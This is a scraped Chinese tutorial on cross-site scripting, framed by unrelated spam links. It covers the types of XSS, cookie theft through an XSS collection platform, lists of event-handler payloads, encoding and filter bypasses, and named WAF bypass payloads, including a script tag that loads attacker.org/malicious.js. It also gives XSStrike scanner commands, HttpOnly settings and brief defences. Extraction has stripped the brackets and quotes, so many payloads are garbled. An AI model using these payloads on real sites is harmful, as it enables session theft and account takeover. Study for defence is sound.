当前位置: 首页 > news >正文

珠海网站建立云浮网站建设

珠海网站建立,云浮网站建设,网站开发代理商,宁波随身云网络科技有限公司XSS漏洞#xff08;跨站脚本#xff09; 1.XSS 漏洞简介 ​ XSS又叫CSS#xff08;Cross Site Script#xff09;跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码#xff0c;当用户浏览该页之时#xff0c;嵌入其中Web里面的Script代码会被执行#xff0c;从…XSS漏洞跨站脚本 1.XSS 漏洞简介 ​ XSS又叫CSSCross Site Script跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码当用户浏览该页之时嵌入其中Web里面的Script代码会被执行从而达到恶意攻击用户的目的。 ​ xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中通过用户本地浏览器执行的所以xss漏洞关键就是寻找参数未过滤的输出函数。 常见的输出函数有 echo printf print print_r sprintf die var-dump var_export. 2.XSS的原理 攻击者对含有漏洞的服务器发起XSS攻击注入JS代码。诱使受害者打开受到攻击的服务器URL。受害者在Web浏览器中打开URL恶意脚本执行。 3.XSS的攻击方式 反射型XSS非持久化 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码服务器中没有这样的页面和内容一般容易出现在搜索页面。一般是后端代码进行处理存储型XSS持久化 代码是存储在服务器数据库中的如在个人信息或发表文章等地方加入代码如果没有过滤或过滤不严那么这些代码将储存到服务器中每当有用户访问该页面的时候都会触发代码执行这种XSS非常危险容易造成蠕虫大量盗窃cookie虽然还有种DOM型XSS但是也还是包括在存储型XSS内。DOM型XSS基于文档对象模型Document Objeet ModelDOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口它允许程序或脚本动态地访问和更新文档内容、结构和样式处理后的结果能够成为显示页面的一部分。DOM中有很多对象其中一些是用户可以操纵的如uRI locationrefelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容它不依赖于提交数据到服务器端而从客户端获得DOM中的数据在本地执行如果DOM中的数据没有经过严格确认就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。 4.XSS的危害 1.挂马 2.盗取用户Cookie。 3.DOS拒绝服务客户端浏览器。 4.钓鱼攻击高级的钓鱼技巧。 5.删除目标文章、恶意篡改数据、嫁祸。 6.劫持用户Web行为甚至进一步渗透内网。 7.爆发Web2.0蠕虫。 8.蠕虫式的DDoS攻击。 9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据 10.其它安全问题 5.XSS的利用方式 需要一个xss平台来收集cookie 2. 对于反射型xss可构造链接当用户点击时用户cookie被发送到xss平台 3. 窃取用户cooike之后加以利用 可以基于xss平台进行利用 xss平台使用 https://xss8.cc/bdstatic.com/?callbackprojectactcreate 6.常见XSS攻击方式 一些常用的标签与属性 下面我列举的标签大部分是可以自动触发js代码的无需用户去交互大部分情况下我们也是希望是自动触发而不是等用户去触发。 1.scirpt 标签 script 标签用于定义客户端脚本比如 JavaScript。 scriptalert(1);/script scriptalert(xss);/script 2.img 标签 img 标签定义 HTML 页面中的图像。 img src1 onerroralert(1); img src1 onerroralert(xss); 3.input 标签 input 标签规定了用户可以在其中输入数据的输入字段。 onfocus 事件在对象获得焦点时发生 input onfocusalert(1); 竞争焦点从而触发onblur事件 input onbluralert(1) autofocusinput autofocus input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件这个向量是使焦点自动跳到输入元素上触发焦点事件无需用户去触发 input onfocusalert(1); autofocus οnclickalert(1) 这样需要点击一下输入框bronmouseoveralert(1) 需要鼠标划过输入框br 4.details 标签 details 标签通过提供用户开启关闭的交互式控件规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 details 元素时触发details ontogglealert(1); 使用details 标签的 open 属性触发ontoggle事件无需用户去点击即可触发 details open ontogglealert(1); 5.svg 标签 svg 标签用来在HTML页面中直接嵌入SVG 文件的代码。 svg onloadalert(1); 6.select 标签 select 标签用来创建下拉列表。 select onfocusalert(1)/select通过autofocus属性规定当页面加载时元素应该自动获得焦点这个向量是使焦点自动跳到输入元素上触发焦点事件无需用户去触发 select onfocusalert(1) autofocus 7.iframe 标签 iframe 标签会创建包含另外一个文档的内联框架。iframe onloadalert(1);/iframe 8.video 标签 video 标签定义视频比如电影片段或其他视频流。videosource onerroralert(1) 9.audio 标签 audio 标签定义声音比如音乐或其他音频流。audio srcx onerroralert(1); 10.body 标签 body 标签定义文档的主体。body onloadalert(1); onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus当用户滑动滚动条的时候自动触发无需用户去点击触发 body onscrollalert(1);brbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrinput autofocus 11.textarea 标签 textarea 标签定义一个多行的文本输入控件。textarea onfocusalert(1); autofocus 12.keygen 标签 keygen autofocus onfocusalert(1) //仅限火狐 13.marquee 标签 marquee onstartalert(1)/marquee //Chrome不行火狐和IE都可以 14.isindex 标签 isindex typeimage src1 onerroralert(1)//仅限于IE 7.常见基本过滤方法 1.空格过滤 当空格被过滤了时我们可以用 / 来代替空格 /**/注释符号绕过/符号绕过img/srcx/onerroralert(1);也可以img/srcxonerroralert(1); 2.引号过滤 如果是html标签中我们可以不用引号。如果是在js中我们可以用反引号代替单双引号img srcx onerroralert(xss); 3.括号过滤 当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。 img srcx onerrorjavascript:window.onerroralert;throw 1 a onmouseoverjavascript:window.onerroralert;throw 1 4.关键字过滤 大小写绕过 sCRiPtalert(1);/sCrIpT ImG sRcx onerRoralert(1); 双写绕过 有些waf可能会只替换一次且是替换为空这种情况下我们可以考虑双写关键字绕过 scrscriptiptalert(1);/scrscriptipt imimgg srsrccx onerroralert(1); 5.字符串拼接绕过 利用eval()函数 与PHP的eval()函数相同JavaScript的eval()函数也可以计算 JavaScript 字符串并把它作为脚本代码来执行。 img srcx onerroraaler;bt;c(1);eval(abc) img srcx onerroraaler;bt;c(xss);;eval(abc) // 在js中我们可以用反引号代替单双引号 6.编码绕过 Unicode编码绕过img srcx onerror#97;#108;#101;#114;#116;#40;#34;#120;#115;#115;#34;#41;#59;javasc#x72;#x69;pt:alert(/xss/) (编码了r和i)img srcx onerroreval(\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b) url编码绕过img srcx onerroreval(unescape(%61%6c%65%72%74%28%22%78%73%73%22%29%3b))iframe srcdata:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E/iframe Ascii码绕过img srcx onerroreval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59)) hex绕过img srcx onerroreval(\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29) base64绕过img srcx onerroreval(atob(ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw))iframe srcdata:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4 7.过滤url地址 使用url编码img srcx onerrordocument.locationhttp://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/javasc#x72;#x69;pt:alert(xsshttp://) 使用IP1.十进制IP img srcx onerrordocument.locationhttp://2130706433/2.八进制IP img srcx onerrordocument.locationhttp://0177.0.0.01/3.hex img srcx onerrordocument.locationhttp://0x7f.0x0.0x0.0x1/ 4.html标签中用//可以代替http:// img srcx onerrordocument.location//www.baidu.com5.使用\\ 但是要注意在windows下\本身就有特殊用途是一个path 的写法所以\\在Windows下是file协议在linux下才会是当前域的协议6.使用中文逗号代替英文逗号 如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号 img srcx onerrordocument.locationhttp://www。baidu。com//会自动跳转到百度 8.单引号闭合htmlspecialchars函数绕过 onmouseoveralert(/xss/) 9.JavaScript伪协议 a hrefjavascript:alert(/xss/) o_n和scr_ipt过滤 8.HttpOnly绕过 1.什么是HttpOnly? 如果您在cookie中设置了HttpOnly属性那么通过js脚本将无法读取到cookie信息这样能有效的防止XSS攻击具体一点的介绍请google进行搜索 2.javaEE的API是否支持? 目前sun公司还没有公布相关的API但PHP、C#均有实现。搞javaEE的兄弟们比较郁闷了别急下文有变通实现 3.HttpOnly的设置样例 javaEE response.setHeader(“Set-Cookie”, “cookienamevalue; Path/;Domaindomainvalue;Max-Ageseconds;HTTPOnly”); 具体参数的含义再次不做阐述设置完毕后通过js脚本是读不到该cookie的但使用如下方式可以读取 Cookie cookies[]request.getCookies(); C# HttpCookie myCookie new HttpCookie(myCookie); myCookie.HttpOnly true; Response.AppendCookie(myCookie); VB.NET Dim myCookie As HttpCookie new HttpCookie(myCookie) myCookie.HttpOnly True Response.AppendCookie(myCookie) 但是在 .NET 1.1 ,中您需要手动添加 Response.Cookies[cookie].Path “;HTTPOnly”; PHP4 header(Set-Cookie: hiddenvalue; httpOnly); PHP5 setcookie(abc, test, NULL, NULL, NULL, NULL, TRUE); ​ 最后一个参数为HttpOnly属性 9.常规waf绕过思路 1.标签语法替换 scrscriptiptalert(XSS)/scrscriptipt scriptalert(XSS)/script script srchttp://attacker.org/malicious.js/script 2.特殊符号干扰 3.提交方式更改 4.垃圾数据溢出 5.加密解密算法 6.结合其他漏洞绕过 下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术 WAF名称Cloudflare Payloada”/onclick(confirm)()click 绕过技术非空格填充 WAF名称Wordfence Payloada/hrefjavascriptcolon;alert()click 绕过技术数字字符编码 WAF名称Barracuda Payloada/hrefJava%0a%0d%09scriptcolon;alert()click 绕过技术数字字符编码 WAF名称Comodo Payloadd3v/onauxclick(((confirm)))“click 绕过技术黑名单中缺少事件处理器以及函数调用混淆 WAF名称F5 Payloadd3v/onmouseleave[2].some(confirm)click 绕过技术黑名单中缺少事件处理器以及函数调用混淆 WAF名称ModSecurity Payloaddetails/open/ontogglealert() 绕过技术黑名单中缺少标签或事件处理器 WAF名称dotdefender Payloaddetails/open/ontoggle(confirm)()// 绕过技术黑名单中缺少结束标签、事件处理器和函数调用混淆 10.XSStrike工具使用 1.测试一个使用GET方法的网页 python xsstrike.py -u http://example.com/search.php?qquery 2.测试POST数据 python xsstrike.py -u http://example.com/search.php --data qquery python xsstrike.py -u http://example.com/search.php --data {q:query} --json 3.测试URL路径 python xsstrike.py -u http://example.com/search/form/query --path 4.从目标网页开始搜寻目标并进行测试 python xsstrike.py -u http://example.com/page.php --crawl 您可以指定爬网的深度,默认2-l python xsstrike.py -u http://example.com/page.php --crawl -l 3 5.如果要测试文件中的URL或者只是想添加种子进行爬网则可以使用该–seeds选项 python xsstrike.py --seeds urls.txt 6.查找隐藏的参数 通过解析HTML和暴力破解来查找隐藏的参数 python xsstrike.py -u http://example.com/page.php --params 7.盲XSS爬行中使用此参数可向每个html表单里面的每个变量插入xss代码 python xsstrike.py -u http://example.com/page.php?qquery --crawl --blind 8.模糊测试–fuzzer 该模糊器旨在测试过滤器和Web应用程序防火墙可使用-d选项将延迟设置为1秒。 python xsstrike.py -u http://example.com/search.php?qquery --fuzzer 9.跳过DOM扫描 在爬网时可跳过DOM XSS扫描以节省时间 python xsstrike.py -u http://example.com/search.php?qquery --skip-dom 10.更新 如果跟上–updata选项XSStrike将检查更新。如果有更新的版本可用XSStrike将下载更新并将其合并到当前目录中而不会覆盖其他文件。 python xsstrike.py --update 11.XSS的防御措施 1编码对用户输入的数据进行HTML Entity编码 2过滤移除用户上传的DOM属性如onerror等移除用户上传的style节点script节点iframe节点等。 3校正避免直接对HTML Entity编码使用DOM Prase转换校正不配对的DOM标签。 本文转自 https://blog.csdn.net/huangyongkang666/article/details/123624164?ops_request_misc%257B%2522request%255Fid%2522%253A%25229cc9cfc6116a1a0e7a4853c7cc08e115%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257Drequest_id9cc9cfc6116a1a0e7a4853c7cc08e115biz_id0utm_mediumdistribute.pc_search_result.none-task-blog-2alltop_positive~default-1-123624164-null-null.142v100pc_search_result_base8utm_termxssspm1018.2226.3001.4187如有侵权请联系删除。
http://www.hkea.cn/news/14424392/

相关文章:

  • 在线做印章网站做的图怎么上传到网站
  • 成品软件网站大全推荐最近十大新闻
  • 服务器上的网站打不开中国最新军事新闻 今天
  • 佛山做外贸网站目前做网站流行的语言
  • 网页设计旅游网站前言名表网站
  • 网站应用网站开发中国最大的网站建设公司
  • 百度可以做网站吗最新军事动态
  • 淮南品牌网站建设电话宁波品牌网站建设公司
  • 网站手机源码网站开发算不算软件企业
  • 制作网站的公司叫什么宁德城乡建设部网站首页
  • 网站课程设计报告清新网站设计
  • 做贸易常用的网站阜阳网站优化
  • wordpress 多网站php自己写框架做网站6
  • 网站建设后台编程wordpress去除评论rss
  • 做pc端软件可以参考那些网站服务器主机如何搭建wordpress
  • 广西执业药师培训网站广告制作公司电话
  • 外贸接单网站网络营销公司推荐
  • 贵阳城乡建设学校网站免费推广网店
  • 重庆网站建设cqhtwlwordpress外链插件
  • 吉安永新哪里做网站沈阳工程信息造价网
  • 网站无法下载视频 怎么做网站系统开发怎么做
  • 做js链接的网站要加证书吗什么网站吸引流量
  • 专业的网站开发公司win2008网站404
  • 团购网站制作企业网站建设需要许可证吗
  • 广西智能网站建设报价苏州app定制开发
  • 专门做鞋子的网站吗郑州效果图设计公司
  • 建设信用卡分期购物网站重点学科网站建设
  • 网站搭建工具的种类国内外做gif的网站
  • 如何学好网站建设东营市建设招标信息网
  • 备案网站多少钱临沂专业网站制作公司